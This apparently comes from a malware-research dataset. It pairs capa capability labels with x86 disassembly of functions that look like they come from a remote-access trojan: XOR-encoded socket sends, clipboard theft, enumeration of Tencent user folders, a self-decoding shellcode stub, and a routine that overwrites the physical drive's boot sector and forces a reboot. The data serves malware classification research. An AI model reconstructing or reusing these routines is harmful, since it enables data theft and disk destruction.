joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406128
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call sub.KERNEL32.dll_TlsAlloc
cmp eax, 0xffffffff
je 0x40614d
mov dword [0x40a0f4], eax
add esp, 0xfffffff8
push 0x4060ec
push eax
call fcn.00407c20
jmp 0x406152
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x406168
mov dword [0x409054], 0x40624c
jmp 0x406172
mov dword [0x409054], 0x406200
leave
ret

Function at 0x1001898a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x10018999
pop dword [ebp - 0x3c]
mov eax, 0x10018999
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x429e0
push 0
mov eax, 0xad2c3844
sub eax, 0x9d28c75c
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0x514f
mov edx, eax
mov esi, 0x21191241
sub esi, 0x11154641
add esi, dword [ebp - 0x3c]
mov ebx, 0x62151ced
sub ebx, 0x7a11b1
xor dword [ebp - 8], 0x6371ba2d
mov edi, dword [esi]
add dword [ebp - 0x20], ebx
xor edi, ebx
sub dword [ebp - 0x18], 0x72606546
mov dword [edx], edi
sub dword [ebp - 0x38], 0xb35be8a2
add edx, 0x744e31e
sub edx, 0x744e31a
add esi, 0x9c6f7a6e
sub esi, 0x9c6f7a6a
loop 0x100189ed
add eax, 0xe3de402e
add eax, 0x1c22f7e1
xor ebx, ebx
add ebx, eax
add eax, 0x905fd6fb
sub eax, 0x905fd6f6
mov ecx, 0x3366967f
add ecx, 0xdc996981
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x100285c0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x10033060]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10036104]
test dword [ebp + 8], eax
je 0x1002866a
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x808]
push eax
call fcn.1001898a
xor eax, eax
add esp, 0xc
mov word [ebp - 8], ax
mov eax, dword [0x10036100]
test eax, eax
je 0x1002865d
lea ecx, [ebp - 0x808]
push ecx
push eax
call fcn.1001898a
mov eax, dword [0x10033058]
pop ecx
pop ecx
test eax, eax
jle 0x1002866a
push esi
mov esi, dword [0x10036108]
push edi
mov edi, dword [0x1003610c]
cdq
push edx
push eax
push edi
push esi
call fcn.100291e0
add esi, 1
mov dword [0x10036108], esi
adc edi, 0
or eax, edx
mov dword [0x1003610c], edi
pop edi
pop esi
jne 0x1002866a
push dword [0x10036100]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
pop ecx
jmp 0x1002866a
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10028910
leave
ret
Function at 0x10001430
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100142c1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x194
push esi
mov esi, ecx
lea ecx, [esi + 4]
mov dword [ebp - 0x10], esi
mov dword [esi], vtable.CClientSocket.0
call fcn.10001000
lea ecx, [esi + 0x14]
mov dword [ebp - 4], 0
call fcn.10001000
lea ecx, [esi + 0x24]
mov byte [ebp - 4], 1
call fcn.10001000
lea ecx, [esi + 0x34]
mov byte [ebp - 4], 2
call fcn.10001000
lea eax, [ebp - 0x1a0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov word [ebp - 0x10], 0x7978
mov cx, word [ebp - 0x10]
mov word [esi + 0x50], cx
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x4c], eax
mov dword [esi + 0x48], 0xffffffff
mov word [esi + 0x52], 0x20
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x10001550
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], ecx
mov ecx, dword [ebp + 0xc]
push esi
xor eax, eax
push edi
mov edi, dword [ebp + 8]
test ecx, ecx
jle 0x10001577
mov dl, byte [eax + edi]
sub dl, 0x46
xor dl, 0x19
mov byte [eax + edi], dl
inc eax
cmp eax, ecx
jl 0x10001566
mov esi, dword [ebp + 0x10]
mov dword [ebp + 8], 0
mov ebx, ecx
cmp ecx, esi
jb 0x100015d4
jmp 0x10001590
mov dword [ebp + 0x10], 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x48]
push 0
push esi
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x100015b8
mov ecx, dword [ebp + 0x10]
inc ecx
mov dword [ebp + 0x10], ecx
cmp ecx, 0xf
jl 0x10001597
cmp dword [ebp + 0x10], 0xf
je 0x1000160e
add dword [ebp + 8], eax
push 0xa
add edi, esi
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x10001590
mov ecx, dword [ebp + 0xc]
test ebx, ebx
jle 0x10001607
xor esi, esi
lea ebx, [ebx]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x48]
push 0
push ebx
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x100015fb
inc esi
cmp esi, 0xf
jl 0x100015e0
cmp dword [ebp + 0x10], 0xf
je 0x1000160e
add dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
cmp eax, ecx
je 0x10001611
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10001630
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100142f1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x14], esi
mov dword [esi], vtable.CClientSocket.0
mov eax, dword [esi + 0x44]
push 0xffffffffffffffff
lea edi, [esi + 0x53]
push eax
mov dword [ebp - 4], 2
mov byte [edi], 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esi + 0x48]
cmp eax, 0xffffffff
je 0x100016c5
push 4
lea ecx, [ebp - 0x10]
push ecx
push 0x80
push 0xffff
push eax
mov dword [ebp - 0x10], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
mov edx, dword [esi + 0x48]
push edx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x48]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esi + 0x4c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [esi + 0x48], 0xffffffff
mov edx, dword [esi + 0x44]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 0x4c]
push eax
call edi
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea ecx, [esi + 0x34]
call fcn.10001020
lea ecx, [esi + 0x24]
mov byte [ebp - 4], 1
call fcn.10001020
lea ecx, [esi + 0x14]
mov byte [ebp - 4], 0
call fcn.10001020
lea ecx, [esi + 4]
mov dword [ebp - 4], 0xffffffff
call fcn.10001020
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10001c40
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
push esi
push edi
push 4
lea edx, [ebp - 4]
push edx
push 0x80
mov esi, ecx
mov eax, dword [esi + 0x48]
push 0xffff
push eax
mov dword [ebp - 4], 1
call ebx
mov ecx, dword [esi + 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0
lea edi, [esi + 0x53]
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov edx, dword [esi + 0x48]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [esi + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [esi + 0x4c]
push ecx
mov dword [esi + 0x48], 0xffffffff
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [edi], 0
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x48], eax
cmp eax, 0xffffffff
jne 0x10001ccb
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp + 8], eax
test eax, eax
je 0x10001cc0
mov ecx, dword [ebp + 0xc]
mov eax, 2
push ecx
mov word [ebp - 0x28], ax
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [ebp + 8]
mov word [ebp - 0x26], ax
mov eax, dword [edx + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [esi + 0x48]
push 0x10
lea eax, [ebp - 0x28]
push eax
push ecx
mov dword [ebp - 0x24], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x10001cc0
mov eax, dword [esi + 0x48]
push 4
lea edx, [ebp - 8]
push edx
push 8
push 0xffff
push eax
mov dword [ebp - 8], 1
call ebx
test eax, eax
jne 0x10001d65
push eax
push eax
lea ecx, [ebp - 0xc]
push ecx
push eax
push eax
mov eax, dword [esi + 0x48]
push 0xc
lea edx, [ebp - 0x18]
push edx
push 0x98000004
push eax
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 0x2bf20
mov dword [ebp - 0x10], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0
push 0
push 0
push esi
push 0x10001ab0
push 0
push 0
mov byte [edi], 1
call fcn.100078a0
add esp, 0x1c
pop edi
mov dword [esi + 0x44], eax
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10001e10
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push edi
push 0
mov edi, ecx
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10001ec1
push ebx
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
jne 0x10001e9a
mov eax, dword [0x100153b0]
mov ecx, dword [0x100153b4]
mov edx, dword [0x100153b8]
mov dword [ebp - 0x10], eax
mov ax, word [0x100153bc]
mov dword [ebp - 0xc], ecx
mov cl, byte [0x100153be]
mov word [ebp - 4], ax
lea eax, [ebp - 0x10]
mov dword [ebp - 8], edx
mov byte [ebp - 2], cl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001e72
sub eax, edx
push eax
lea edx, [ebp - 0x10]
push edx
mov ecx, edi
call fcn.100068b0
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, eax
push esi
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x10001ea0
sub ecx, esi
push ecx
push eax
mov ecx, edi
call fcn.100068b0
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10001ed0
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push 0x103
lea eax, [ebp - 0x347]
push 0
push eax
mov byte [ebp - 0x348], 0
call fcn.100082d0
add esp, 0xc
push 0
push 0x1a
lea ecx, [ebp - 0x348]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x103
lea edx, [ebp - 0x243]
push 0
push edx
mov byte [ebp - 0x244], 0
call fcn.100082d0
add esp, 0xc
xor eax, eax
jmp 0x10001f30
mov cl, byte [ebp + eax - 0x348]
mov byte [ebp + eax - 0x244], cl
inc eax
test cl, cl
jne 0x10001f30
lea eax, [ebp - 0x244]
dec eax
lea ebx, [ebx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10001f50
mov ecx, dword [str.TencentUsers.]
mov edx, dword [0x100153c8]
mov dword [eax], ecx
mov ecx, dword [0x100153cc]
mov dword [eax + 4], edx
mov edx, dword [0x100153d0]
mov dword [eax + 8], ecx
mov cx, word [0x100153d4]
push ebx
mov dword [eax + 0xc], edx
mov dl, byte [0x100153d6]
push esi
mov word [eax + 0x10], cx
push edi
mov byte [eax + 0x12], dl
lea eax, [ebp - 0x140]
push eax
lea ecx, [ebp - 0x244]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea edx, [ebp - 0x140]
mov ebx, eax
push edx
push ebx
call esi
lea eax, [ebp - 0x140]
push eax
push ebx
xor edi, edi
call esi
test eax, eax
je 0x1000203c
jmp 0x10001fd0
test byte [ebp - 0x140], 0x10
je 0x1000202e
lea eax, [ebp - 0x114]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10001fe0
mov cx, word [0x100153c0]
mov dl, byte [0x100153c2]
mov word [eax], cx
mov byte [eax + 2], dl
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002004
sub eax, edx
mov esi, eax
push esi
lea eax, [ebp - 0x114]
push eax
lea ecx, [edi + 0x1001ce80]
push ecx
call fcn.10007a80
add esp, 0xc
add edi, esi
mov esi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea edx, [ebp - 0x140]
push edx
push ebx
call esi
test eax, eax
jne 0x10001fd0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002050
Capabilities:
Contain obfuscated stackstrings
Shutdown system
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push esi
push 0x1ff
lea eax, [ebp - 0x22f]
push 0
push eax
call fcn.100082d0
add esp, 0xc
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
lea ecx, [ebp - 0x14]
push ecx
mov byte [ebp - 0x230], 0
mov word [ebp - 0x32], 0xaa55
mov dword [ebp - 0x14], 0x5c2e5c5c
mov dword [ebp - 0x10], 0x53594850
mov dword [ebp - 0xc], 0x4c414349
mov dword [ebp - 8], 0x56495244
mov word [ebp - 4], 0x3045
mov byte [ebp - 2], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000218a
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
lea edx, [ebp - 0x1c]
push edx
push 0
push 0
push 0
push 0
push 0x90018
push esi
call edi
push 0
lea eax, [ebp - 0x20]
push eax
push 0x200
lea ecx, [ebp - 0x230]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [ebp - 0x1c]
push edx
push 0
push 0
push 0
push 0
push 0x9001c
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x10002179
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [ebp - 0x2c]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [ebp - 0x18]
push 0
push 0
push 0
lea edx, [ebp - 0x30]
push edx
push 0
push eax
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x24], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
call fcn.100085cd
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10002320
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov al, byte [esi]
push edi
mov edi, ecx
cmp al, 0x64
jne 0x1000233b
call fcn.10006940
pop edi
pop esi
pop ebp
ret 8
cmp al, 0x73
jne 0x1000234a
call fcn.10001e10
pop edi
pop esi
pop ebp
ret 8
cmp al, 0x76
jne 0x10002376
call fcn.10001ed0
mov eax, 0x1001ce80
lea edx, [eax + 1]
jmp 0x10002360
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002360
sub eax, edx
push eax
push 0x1001ce80
mov ecx, edi
call fcn.100068b0
cmp byte [esi], 0x74
jne 0x10002380
call fcn.10002050
cmp byte [esi], 0x75
jne 0x100023a4
push 1
call fcn.10002190
add esp, 4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call fcn.10002190
add esp, 4
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x100023f1
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov eax, dword [ebp + 0xc]
inc eax
push eax
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub eax, esi
mov cl, byte [esi]
mov byte [eax + esi], cl
inc esi
test cl, cl
jne 0x100023d1
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push edi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebp
ret 8
Function at 0x10002440
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x113]
push ebx
push eax
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0x114], bl
call fcn.100082d0
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x114]
dec edi
jmp 0x10002490
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10002490
mov dx, word [0x1001542c]
mov eax, str.Default
mov word [edi], dx
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100024b0
lea edi, [ebp - 0x114]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100024c0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x114]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100024e0
mov ecx, dword [str..key]
mov dl, byte [0x10015428]
push ebx
push 0x80
push 3
push ebx
mov dword [eax], ecx
push 1
mov byte [eax + 4], dl
push closesocket
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
mov dword [ebp - 0xc], ebx
cmp ebx, 0xffffffff
je 0x100025ad
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.100081d0
add esp, 4
push 0
lea ecx, [ebp - 0x10]
push ecx
push esi
mov edi, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test esi, esi
je 0x10002559
nop
xor byte [eax + edi], 0x62
inc eax
cmp eax, esi
jb 0x10002550
lea eax, [esi + 1]
push eax
push 0x40
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
push esi
lea edx, [ebx + 1]
push edi
push edx
mov byte [ebx], 5
call fcn.10007a80
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
add esp, 0xc
push eax
push ebx
call fcn.100068b0
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
call fcn.10007de1
mov ebx, dword [ebp - 0xc]
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100025c0
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
mov esi, dword [ebp + 8]
cmp byte [esi], 2
push edi
mov edi, ecx
jne 0x100025da
call fcn.10002440
cmp byte [esi], 0x64
jne 0x100025e6
mov ecx, edi
call fcn.10006940
cmp byte [esi], 3
jne 0x10002676
push 0x104
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x104]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10002608
mov cx, word [0x1001542c]
mov eax, str.Default
mov word [edi], cx
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002621
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10002631
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x104]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10002650
mov edx, dword [str..key]
mov cl, byte [0x10015428]
mov dword [eax], edx
lea edx, [ebp - 0x104]
push edx
mov byte [eax + 4], cl
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x10002720
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.Ole32.dll
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.CoInitialize
push edi
call esi
push str.CoUninitialize
push edi
mov dword [ebp - 0xc], eax
call esi
push str.CoCreateInstance
push edi
mov dword [ebp - 0x20], eax
call esi
push str.Oleaut32.dll
mov dword [ebp - 0x10], eax
call ebx
mov ebx, eax
push str.SysFreeString
push ebx
call esi
push 0
mov dword [ebp - 0x18], eax
call dword [ebp - 0xc]
lea eax, [ebp - 0x14]
push eax
push 0x10016570
push 1
xor esi, esi
push esi
push 0x10016590
mov dword [ebp - 0xc], esi
call dword [ebp - 0x10]
test eax, eax
je 0x1000279e
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
push 0
lea edx, [ebp - 4]
push edx
push 0x10016580
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x10002795
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x14]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
lea edx, [ebp - 8]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x10002859
lea esp, [esp]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
lea edx, [ebp - 0xc]
push edx
push 0x100165a0
push 0
push 0
push eax
mov eax, dword [ecx + 0x24]
call eax
test eax, eax
js 0x10002832
mov eax, dword [ebp - 0xc]
mov ecx, 8
mov word [ebp - 0x30], cx
mov edx, dword [eax]
mov edx, dword [edx + 0xc]
push 0
lea ecx, [ebp - 0x30]
push ecx
push 0x10015430
push eax
call edx
test eax, eax
jne 0x10002827
mov eax, dword [ebp - 0x28]
push eax
inc esi
call dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
lea edx, [ebp - 8]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
je 0x100027e0
mov dword [ebp - 0xc], esi
call dword [ebp - 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x10002869
push edi
call esi
test ebx, ebx
je 0x10002870
push ebx
call esi
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002880
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
push esi
push 0
push edi
call fcn.100082d0
push 0x400
lea eax, [ebp - 0x428]
push 0
push eax
call fcn.100082d0
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x428]
push eax
mov dword [ebp - 0x28], 0x54535953
mov dword [ebp - 0x24], 0x435c4d45
mov dword [ebp - 0x20], 0x65727275
mov dword [ebp - 0x1c], 0x6f43746e
mov dword [ebp - 0x18], 0x6f72746e
mov dword [ebp - 0x14], 0x7465536c
mov dword [ebp - 0x10], 0x7265535c
mov dword [ebp - 0xc], 0x65636976
mov dword [ebp - 8], 0x73255c73
mov byte [ebp - 4], 0
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [ebp + 0xc]
push 0
push esi
push 0
push edi
push 1
push ecx
lea edx, [ebp - 0x428]
push edx
push closesocket
call fcn.100073b0
add esp, 0x44
pop edi
pop esi
mov esp, ebp
pop ebp
ret